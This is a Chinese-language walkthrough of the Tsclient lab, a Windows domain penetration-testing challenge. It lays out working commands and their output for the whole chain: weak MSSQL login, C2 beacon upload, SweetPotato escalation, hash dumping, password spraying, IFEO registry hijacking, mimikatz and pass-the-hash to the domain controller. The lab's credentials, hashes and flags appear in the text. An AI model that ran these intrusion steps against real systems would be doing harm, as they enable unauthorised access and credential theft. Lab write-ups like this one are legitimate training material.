春秋云境-Tsclient
考点:
- Mssql弱口令 
- SweetPotato提权 
- CS注入在线用户进程上线 
- 共享文件 
- CS不出网转发上线 
- 映像劫持提权 
- Dcsync 
靶标介绍:
Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。
信息收集
打开就一IIS默认界面,没啥东西,先扫一下吧(这次的机子是Windows)
| 1
 | .\fscan64.exe -h 39.100.183.13 -p 1-65535
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 
 | ___                              _
 / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
 / /_\\_____\__ \ (__| | | (_| | (__|   <
 \____/     |___/\___|_|  \__,_|\___|_|\_\
 fscan version: 1.8.2
 start infoscan
 (icmp) Target 39.100.183.13   is alive
 [*] Icmp alive hosts len is: 1
 39.100.183.13:139 open
 39.100.183.13:135 open
 39.100.183.13:80 open
 39.100.183.13:1433 open
 39.100.183.13:2383 open
 39.100.183.13:3389 open
 39.100.183.13:15774 open
 39.100.183.13:16450 open
 39.100.183.13:16453 open
 39.100.183.13:16451 open
 39.100.183.13:16452 open
 39.100.183.13:17001 open
 39.100.183.13:47001 open
 39.100.183.13:49664 open
 39.100.183.13:49666 open
 39.100.183.13:49665 open
 39.100.183.13:49668 open
 39.100.183.13:49672 open
 39.100.183.13:49699 open
 39.100.183.13:49771 open
 [*] alive ports len is: 20
 start vulscan
 [*] NetInfo:
 [*]39.100.183.13
 [->]WIN-WEB
 [->]172.22.8.18
 [->]2001:0:348b:fb58:8a7:93d:d89b:48f2
 [*] WebTitle: http://39.100.183.13      code:200 len:703    title:IIS Windows Server
 [*] WebTitle: http://39.100.183.13:47001 code:404 len:315    title:Not Found
 [+] mssql:39.100.183.13:1433:sa 1qaz!QAZ
 已完成 19/20 [-] (55/210) rdp 39.100.183.13:3389 administrator a123456 remote error: tls: access denied
 已完成 19/20 [-] (102/210) rdp 39.100.183.13:3389 admin test remote error: tls: access denied
 已完成 19/20 [-] (150/210) rdp 39.100.183.13:3389 guest 654321 remote error: tls: access denied
 已完成 19/20 [-] (198/210) rdp 39.100.183.13:3389 guest Aa123456 remote error: tls: access denied
 已完成 20/20
 [*] 扫描结束,耗时: 8m39.836672s
 
 | 
Mssql->GetShell
扫出来有个Mssql弱口令
用MDUT连接,再把c2马传到C:/Users/Public/

SweetPotato提权
用SweetPotato提权,还是传到C:/Users/Public/
注意:要执行XpCmdshell模式需要先激活组件

执行命令
| 1
 | C:/Users/Public/sweetpotato.exe -a "type C:\Users\Administrator\flag\flag01.txt"
 | 
| 1
 | flag01: flag{279cdd09-d345-4b5a-989c-9a5531d66031}
 | 
将c2连上的受害机也提到system权限,方便操作
| 1
 | C:/Users/Public/sweetpotato.exe -a "C:/Users/Public/beacon.exe"
 | 

信息收集2
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 
 | Windows IP 配置
 
 主机名  . . . . . . . . . . . . . : WIN-WEB
 主 DNS 后缀 . . . . . . . . . . . :
 节点类型  . . . . . . . . . . . . : 混合
 IP 路由已启用 . . . . . . . . . . : 否
 WINS 代理已启用 . . . . . . . . . : 否
 
 以太网适配器 以太网 2:
 
 连接特定的 DNS 后缀 . . . . . . . :
 描述. . . . . . . . . . . . . . . : Red Hat VirtIO Ethernet Adapter #2
 物理地址. . . . . . . . . . . . . : 00-16-3E-21-6E-92
 DHCP 已启用 . . . . . . . . . . . : 是
 自动配置已启用. . . . . . . . . . : 是
 本地链接 IPv6 地址. . . . . . . . : fe80::6143:fd2e:3663:6dd1%8(首选)
 IPv4 地址 . . . . . . . . . . . . : 172.22.8.18(首选)
 子网掩码  . . . . . . . . . . . . : 255.255.0.0
 获得租约的时间  . . . . . . . . . : 2023年11月24日 19:31:29
 租约过期的时间  . . . . . . . . . : 2033年11月21日 19:31:30
 默认网关. . . . . . . . . . . . . : 172.22.255.253
 DHCP 服务器 . . . . . . . . . . . : 172.22.255.253
 DHCPv6 IAID . . . . . . . . . . . : 251663934
 DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-2A-5D-63-2D-00-16-3E-04-77-EC
 DNS 服务器  . . . . . . . . . . . : 100.100.2.136
 100.100.2.138
 TCPIP 上的 NetBIOS  . . . . . . . : 已启用
 
 隧道适配器 Teredo Tunneling Pseudo-Interface:
 
 连接特定的 DNS 后缀 . . . . . . . :
 描述. . . . . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
 物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
 DHCP 已启用 . . . . . . . . . . . : 否
 自动配置已启用. . . . . . . . . . : 是
 IPv6 地址 . . . . . . . . . . . . : 2001:0:348b:fb58:8a7:93d:d89b:48f2(首选)
 本地链接 IPv6 地址. . . . . . . . : fe80::8a7:93d:d89b:48f2%12(首选)
 默认网关. . . . . . . . . . . . . : ::
 DHCPv6 IAID . . . . . . . . . . . : 134217728
 DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-2A-5D-63-2D-00-16-3E-04-77-EC
 TCPIP 上的 NetBIOS  . . . . . . . : 已禁用
 
 隧道适配器 isatap.{7901C223-3BC4-42B0-BD21-258AA6858209}:
 
 媒体状态  . . . . . . . . . . . . : 媒体已断开连接
 连接特定的 DNS 后缀 . . . . . . . :
 描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2
 物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
 DHCP 已启用 . . . . . . . . . . . : 否
 自动配置已启用. . . . . . . . . . : 是
 
 [11/24 20:21:07] [+] received output:
 39.100.183.75:8088 open
 39.100.183.42:8088 open
 39.100.183.108:8088 open
 
 [11/24 20:21:33] [+] received output:
 39.100.183.92:8443 open
 39.100.183.132:8443 open
 
 
 | 
查看在线用户
| 12
 3
 4
 5
 6
 7
 8
 
 | \\ 的用户帐户
 
 
 Administrator            DefaultAccount           Guest
 John
 命令运行完毕,但发生一个或多个错误。
 
 
 | 
查看在线用户
| 12
 3
 
 | query user || qwinsta   //命令行不通,换一个shell quser || qwinst   //c2中执行
 quser
 
 | 
| 12
 
 | 用户名                会话名             ID  状态    空闲时间   登录时间john                  rdp-tcp#0           2  运行中         54  2023/11/24 19:33
 
 | 
查看网络连接

fscan扫一下
| 1
 | C:\Users\Public\fscan.exe -h 172.22.8.18/24 -o 1.txt
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 
 | ___                              _
 / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
 / /_\\_____\__ \ (__| | | (_| | (__|   <
 \____/     |___/\___|_|  \__,_|\___|_|\_\
 fscan version: 1.8.3
 start infoscan
 (icmp) Target 172.22.8.18     is alive
 (icmp) Target 172.22.8.15     is alive
 (icmp) Target 172.22.8.31     is alive
 (icmp) Target 172.22.8.46     is alive
 [*] Icmp alive hosts len is: 4
 172.22.8.15:88 open
 172.22.8.15:139 open
 172.22.8.18:1433 open
 172.22.8.46:445 open
 172.22.8.31:445 open
 172.22.8.15:445 open
 172.22.8.18:445 open
 172.22.8.46:139 open
 172.22.8.31:139 open
 172.22.8.18:80 open
 172.22.8.18:139 open
 172.22.8.46:135 open
 172.22.8.31:135 open
 172.22.8.15:135 open
 172.22.8.18:135 open
 172.22.8.46:80 open
 [*] alive ports len is: 16
 start vulscan
 [*] NetInfo
 [*]172.22.8.18
 [->]WIN-WEB
 [->]172.22.8.18
 [->]2001:0:348b:fb58:8a7:93d:d89b:48f2
 [*] NetBios 172.22.8.15     [+] DC:XIAORANG\DC01
 [*] NetInfo
 [*]172.22.8.31
 [->]WIN19-CLIENT
 [->]172.22.8.31
 [*] NetBios 172.22.8.31     XIAORANG\WIN19-CLIENT
 [*] NetInfo
 [*]172.22.8.46
 [->]WIN2016
 [->]172.22.8.46
 [*] WebTitle http://172.22.8.18        code:200 len:703    title:IIS Windows Server
 [*] NetInfo
 [*]172.22.8.15
 [->]DC01
 [->]172.22.8.15
 [*] NetBios 172.22.8.46     WIN2016.xiaorang.lab                Windows Server 2016 Datacenter 14393
 [*] WebTitle http://172.22.8.46        code:200 len:703    title:IIS Windows Server
 [+] mssql 172.22.8.18:1433:sa 1qaz!QAZ
 
 | 
| 12
 3
 4
 
 | 172.22.8.15 域控172.22.8.31 域内机器
 172.22.8.18 已拿下
 172.22.8.46 域内机器
 
 | 
这个172.22.8.15   应该是DC     [+] DC:XIAORANG\DC01   
再收集一下hash(需要system权限 )
| 12
 3
 4
 
 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:2caf35bb4c5059a3d50599844e2b9b1f:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 John:1008:aad3b435b51404eeaad3b435b51404ee:eec9381b043f098b011be51622282027:::
 
 | 
注入进程上线其他用户
因为 john是在线的,所以可以CS直接注入进程上线

切换到Jojn用户的shell
查看有没有共享文件

里面有一个敏感文件,查看后获取一个凭证和一个提示(镜像劫持)
| 12
 
 | shell dir \\TSCLIENT\Cshell type \\TSCLIENT\C\credential.txt
 
 | 


| 12
 3
 4
 5
 6
 7
 
 |  beacon> shell type \\TSCLIENT\C\credential.txtTasked beacon to run: type \\TSCLIENT\C\credential.txt
 host called home, sent: 63 bytes
 received output:
 xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
 
 Do you know how to hijack Image?
 
 | 
直接在c2 shell在开个socks 端口

kali连接上代理
| 1
 | vim /etc/proxychains4.conf
 | 

密码喷洒
密码喷洒
| 1
 | proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | SMB         172.22.8.18     445    WIN-WEB          [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-WEB) (domain:WIN-WEB) (signing:False) (SMBv1:True)SMB         172.22.8.46     445    WIN2016          [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN2016) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
 SMB         172.22.8.15     445    DC01             [*] Windows 10.0 Build 20348 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:False)
 SMB         172.22.8.31     445    WIN19-CLIENT     [*] Windows 10.0 Build 17763 x64 (name:WIN19-CLIENT) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
 SMB         172.22.8.18     445    WIN-WEB          [-] WIN-WEB\Aldrich:Ald@rLMWuy7Z!# STATUS_LOGON_FAILURE
 SMB         172.22.8.46     445    WIN2016          [+] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
 SMB         172.22.8.15     445    DC01             [-] Connection Error: The NETBIOS connection with the remote host timed out.
 SMB         172.22.8.31     445    WIN19-CLIENT     [+] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
 
 
 | 
| 1
 | proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'       
 | 

如果提示密码过期,就需要改一下密码(这里显示密码不正确是因为我已经提前用下面的脚本改了密码)
| 1
 | proxychains4 python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Whoami@666'
 | 

镜像劫持
按照提示使用映像劫持(IFEO)
查看一下注册表权限,powershell:
| 1
 | Get-Acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
 | 
发现所有用户都可以创建键值,修改注册表,利用这个性质,修改注册表映像劫持,使用放大镜进行提权。
| 1
 | REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
 | 
也就是把本来用户主页点放大镜启动的magnify.exe替换成C:\windows\system32\cmd.exe,这样就提权成system了
或者劫持粘滞键sethc(按5次shift出现)
| 1
 | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
 | 
然后在开始那里锁定账户,点击放大镜,或者是按5次shift,就会调用system权限执行的cmd.exe,从而提权
提权之后就可以翻文件找到flag2了
| 12
 
 | net user /domainnet group "domain admins" /domain
 
 | 

hash传递->域控
之后就是mimikat来抓取hash(c2也可以用hashdump来抓)
| 1
 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
 | 

这里发现了一个域内机器账户的ntmlWIN2016$:985c546279ee35af8e54bde724303c64
发现这个账户正好在域管理员组
然后就是使用mimikatz进行hash传递
| 1
 | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:985c46279ee35af8e54bde724303c64" exit
 | 
或者用crackmapexec
| 1
 | proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 985c546279ee35af8e54bde724303c64 -d xiaorang -x "whoami"
 | 

拿flag3
| 1
 | proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 985c546279ee35af8e54bde724303c64 -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt"
 | 
